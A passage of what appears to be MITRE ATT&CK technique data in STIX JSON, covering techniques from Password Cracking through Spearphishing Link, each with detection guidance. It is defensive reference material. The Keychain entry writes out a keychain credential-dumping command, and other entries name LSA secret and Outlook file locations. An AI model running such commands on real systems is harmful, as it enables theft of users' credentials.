usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further,  adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.","modified":"2022-04-19T21:33:46.023Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Password Cracking","x_mitre_detection":"It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. Consider focusing efforts on detecting other adversary behavior used to acquire credential materials, such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["User Account: User Account Authentication","Application Log: Application Log Content"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Vincent Le Toux","Alain Homewood, Insomnia Security"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1178","url":"https://attack.mitre.org/techniques/T1178"},{"source_name":"Microsoft SID","description":"Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.","url":"https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx"},{"url":"https://msdn.microsoft.com/library/ms679833.aspx","description":"Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.","source_name":"Microsoft SID-History Attribute"},{"source_name":"Microsoft Well Known SIDs Jun 2017","description":"Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.","url":"https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems"},{"source_name":"Microsoft Get-ADUser","description":"Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.","url":"https://technet.microsoft.com/library/ee617241.aspx"},{"source_name":"AdSecurity SID History Sept 2015","description":"Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.","url":"https://adsecurity.org/?p=1772"},{"url":"https://msdn.microsoft.com/library/ms677982.aspx","description":"Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.","source_name":"Microsoft DsAddSidHistory"}],"modified":"2020-02-18T18:35:21.493Z","name":"SID-History Injection","description":"The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Examine data in user’s SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)\n\nMonitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015)  (Citation: Microsoft DsAddSidHistory)\n\nMonitor Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","type":"attack-pattern","created":"2020-02-19T18:46:06.098Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1114.001","url":"https://attack.mitre.org/techniques/T1114/001"},{"source_name":"Outlook File Sizes","url":"https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/","description":"N. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and OST File Sizes. Retrieved February 19, 2020."},{"source_name":"Microsoft Outlook Files","url":"https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790","description":"Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and .ost). Retrieved February 19, 2020."}],"modified":"2020-03-24T17:59:20.983Z","name":"Local Email Collection","description":"Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files.\n\nOutlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\\Users\\<username>\\Documents\\Outlook Files` or `C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Outlook`.(Citation: Microsoft Outlook Files)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Monitor processes and command-line arguments for actions that could be taken to gather local email files. Monitor for unusual processes accessing local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Access","Command: Command Execution"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--1eaebf46-e361-4437-bc23-d5d65a3b92e3","created":"2020-02-12T18:55:24.728Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1555.001","url":"https://attack.mitre.org/techniques/T1555/001"},{"source_name":"External to DA, the OS X Way","url":"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way","description":"Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017."},{"source_name":"Keychain Services Apple","url":"https://developer.apple.com/documentation/security/keychain_services","description":"Apple. (n.d.). Keychain Services. Retrieved April 11, 2022."},{"source_name":"Empire Keychain Decrypt","url":"https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/collection/osx/keychaindump_decrypt.py","description":"Empire. (2018, March 8). Empire keychaindump_decrypt Module. Retrieved April 14, 2022."},{"source_name":"OSX Keychain Schaumann","url":"https://www.netmeister.org/blog/keychain-passwords.html","description":"Jan Schaumann. (2015, November 5). Using the OS X Keychain to store and retrieve passwords. Retrieved March 31, 2022."},{"source_name":"Keychain Decryption Passware","url":"https://support.passware.com/hc/en-us/articles/4573379868567-A-Deep-Dive-into-Apple-Keychain-Decryption","description":"Yana Gourenko. (n.d.). A Deep Dive into Apple Keychain Decryption. Retrieved April 13, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may acquire credentials from Keychain. Keychain (or Keychain Services) is the macOS credential management system that stores account names, passwords, private keys, certificates, sensitive application data, payment data, and secure notes. There are three types of Keychains: Login Keychain, System Keychain, and Local Items (iCloud) Keychain. The default Keychain is the Login Keychain, which stores user passwords and information. The System Keychain stores items accessed by the operating system, such as items shared among users on a host. The Local Items (iCloud) Keychain is used for items synced with Apple’s iCloud service. \n\nKeychains can be viewed and edited through the Keychain Access application or using the command-line utility <code>security</code>. Keychain files are located in <code>~/Library/Keychains/</code>, <code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>.(Citation: Keychain Services Apple)(Citation: Keychain Decryption Passware)(Citation: OSX Keychain Schaumann)\n\nAdversaries may gather user credentials from Keychain storage/memory. For example, the command <code>security dump-keychain –d</code> will dump all Login Keychain credentials from <code>~/Library/Keychains/login.keychain-db</code>. Adversaries may also directly read Login Keychain credentials from the <code>~/Library/Keychains/login.keychain</code> file. Both methods require a password, where the default password for the Login Keychain is the current user’s password to login to the macOS host.(Citation: External to DA, the OS X Way)(Citation: Empire Keychain Decrypt)  ","modified":"2022-04-18T20:32:22.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Keychain","x_mitre_detection":"Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Process: OS API Execution","File: File Access"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","created":"2020-01-23T17:46:59.535Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1547","url":"https://attack.mitre.org/techniques/T1547"},{"source_name":"Cylance Reg Persistence Sept 2013","url":"https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order","description":"Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018."},{"source_name":"MSDN Authentication Packages","url":"https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx","description":"Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017."},{"source_name":"Microsoft Run Key","url":"http://msdn.microsoft.com/en-us/library/aa376977","description":"Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014."},{"source_name":"Microsoft TimeProvider","url":"https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx","description":"Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018."},{"source_name":"Linux Kernel Programming","url":"https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf","description":"Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018."},{"source_name":"TechNet Autoruns","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."},{"url":"https://capec.mitre.org/data/definitions/564.html","source_name":"capec","external_id":"CAPEC-564"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.","modified":"2022-04-18T22:21:27.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Boot or Logon Autostart Execution","x_mitre_detection":"Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns)  Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \n\nSuspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Process: OS API Execution","Command: Command Execution","File: File Modification","File: File Creation","Kernel: Kernel Module Load","Module: Module Load","Driver: Driver Load","Process: Process Creation","Windows Registry: Windows Registry Key Creation","Windows Registry: Windows Registry Key Modification"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["User","Administrator","root"],"x_mitre_effective_permissions":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ed Williams, Trustwave, SpiderLabs"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","type":"attack-pattern","created":"2020-02-21T16:22:09.493Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1003.004","url":"https://attack.mitre.org/techniques/T1003/004"},{"source_name":"Passcape LSA Secrets","url":"https://www.passcape.com/index.php?section=docsys&cmd=details&id=23","description":"Passcape. (n.d.). Windows LSA secrets. Retrieved February 21, 2020."},{"source_name":"Microsoft AD Admin Tier Model","url":"https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material?redirectedfrom=MSDN","description":"Microsoft. (2019, February 14). Active Directory administrative tier model. Retrieved February 21, 2020."},{"source_name":"Tilbury Windows Credentials","url":"https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf","description":"Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020."},{"source_name":"ired Dumping LSA Secrets","url":"https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets","description":"Mantvydas Baranauskas. (2019, November 16). Dumping LSA Secrets. Retrieved February 21, 2020."},{"url":"https://github.com/mattifestation/PowerSploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","source_name":"Powersploit"}],"modified":"2021-04-21T21:12:38.361Z","name":"LSA Secrets","description":"Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts.(Citation: Passcape LSA Secrets)(Citation: Microsoft AD Admin Tier Model)(Citation: Tilbury Windows Credentials) LSA secrets are stored in the registry at <code>HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets</code>. LSA secrets can also be dumped from memory.(Citation: ired Dumping LSA Secrets)\n\n[Reg](https://attack.mitre.org/software/S0075) can be used to extract from the Registry. [Mimikatz](https://attack.mitre.org/software/S0002) can be used to extract secrets from memory.(Citation: ired Dumping LSA Secrets)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Access","Command: Command Execution"],"x_mitre_permissions_required":["SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Stefan Kanthak","Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125","type":"attack-pattern","created":"2017-05-31T21:30:26.057Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1013","url":"https://attack.mitre.org/techniques/T1013"},{"url":"http://msdn.microsoft.com/en-us/library/dd183341","description":"Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.","source_name":"AddMonitor"},{"url":"https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf","description":"Bloxham, B. (n.d.). Getting Windows to Play with Itself &#91;PowerPoint slides&#93;. Retrieved November 12, 2014.","source_name":"Bloxham"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"}],"modified":"2020-01-24T19:47:55.183Z","name":"Port Monitors","description":"A port monitor can be set through the  (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"* Monitor process API calls to  (Citation: AddMonitor).\n* Monitor DLLs that are loaded by spoolsv.exe for DLLs that are abnormal.\n* New DLLs written to the System32 directory that do not correlate with known good software or patching may be suspicious.\n* Monitor Registry writes to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.\n* Run the Autoruns utility, which checks for this Registry key as a persistence mechanism (Citation: TechNet Autoruns)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_effective_permissions":["SYSTEM"]},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8","type":"attack-pattern","created":"2020-10-19T18:47:08.759Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1600","url":"https://attack.mitre.org/techniques/T1600"},{"source_name":"Cisco Synful Knock Evolution","url":"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices","description":"Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."},{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}],"modified":"2020-10-21T22:37:49.258Z","name":"Weaken Encryption","description":"Adversaries may compromise a network device’s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.\n\nAdversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device’s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"There is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Modification"],"x_mitre_defense_bypassed":["Encryption"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Azure AD","SaaS","Windows","Office 365","Google Workspace","IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jen Burns, HubSpot","Blake Strom, Microsoft 365 Defender","Oleg Kolesnikov, Securonix"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1f9c2bae-b441-4f66-a8af-b65946ee72f2","type":"attack-pattern","created":"2020-12-17T15:24:12.240Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1606.002","url":"https://attack.mitre.org/techniques/T1606/002"},{"source_name":"Microsoft SolarWinds Steps","url":"https://blogs.microsoft.com/on-the-issues/2020/12/13/customers-protect-nation-state-cyberattacks/","description":"Lambert, J. (2020, December 13). Important steps for customers to protect themselves from recent nation-state cyberattacks. Retrieved December 17, 2020."},{"source_name":"Microsoft SAML Token Lifetimes","url":"https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes","description":"Microsoft. (2020, December 14). Configurable token lifetimes in Microsoft Identity Platform. Retrieved December 22, 2020."},{"source_name":"Cyberark Golden SAML","url":"https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps","description":"Reiner, S. (2017, November 21). Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps. Retrieved December 17, 2020."},{"source_name":"Microsoft SolarWinds Customer Guidance","url":"https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/","description":"MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020."},{"source_name":"Sygnia Golden SAML","url":"https://www.sygnia.co/golden-saml-advisory","description":"Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021."}],"modified":"2021-09-20T16:47:19.173Z","name":"SAML Tokens","description":"An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.(Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions ...</code> element in a token. This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>.(Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\n\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"This technique may be difficult to detect as SAML tokens are signed by a trusted certificate. The forging process may not be detectable since it is likely to happen outside of a defender's visibility, but subsequent usage of the forged token may be seen. Monitor for anomalous logins using SAML tokens created by a compromised or adversary generated token-signing certificate. These logins may occur on any on-premises resources as well as from any cloud environment that trusts the certificate.(Citation: Microsoft SolarWinds Customer Guidance) Search for logins to service providers using SAML SSO which do not have corresponding 4769, 1200, and 1202 events in the Domain.(Citation: Sygnia Golden SAML)\n\nConsider modifying SAML responses to include custom elements for each service provider. Monitor these custom elements in service provider access logs to detect any anomalous requests.(Citation: Sygnia Golden SAML)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["User Account: User Account Authentication","Logon Session: Logon Session Creation","Logon Session: Logon Session Metadata","Web Credential: Web Credential Usage","Web Credential: Web Credential Creation"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Windows","macOS","Linux","Office 365","SaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Shailesh Tiwary (Indian Army)","Mark Wee","Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)","Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1192","url":"https://attack.mitre.org/techniques/T1192"},{"external_id":"CAPEC-163","source_name":"capec","url":"https://capec.mitre.org/data/definitions/163.html"},{"source_name":"Trend Micro Pawn Storm OAuth 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks","description":"Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019."}],"modified":"2020-03-02T19:21:35.153Z","name":"Spearphishing Link","description":"Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this case, the malicious emails contain links. Generally, the links will be accompanied by social engineering text and require the user to actively click or copy and paste a URL into a browser, leveraging [User Execution](https://attack.mitre.org/techniques/T1204). The visited website may compromise the web browser using an exploit, or the user will be prompted to download applications, documents, zip files, or even executables depending on the pretext for the email in the first place. Adversaries may also include links that are intended to interact directly with an email reader, including embedded images intended to exploit the end system directly or verify the receipt of an email (i.e. web bugs/web beacons). Links may also direct users to malicious applications  designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s, like OAuth tokens, in order to gain access to protected applications and information.(Citation: Trend Micro Pawn Storm OAuth 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_detection":"URL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause this technique usually involves user interaction on the endpoint, many of the possible detections for Spearphishing Link take place once [User Execution](https://attack.mitre.org/techniques/T1204) 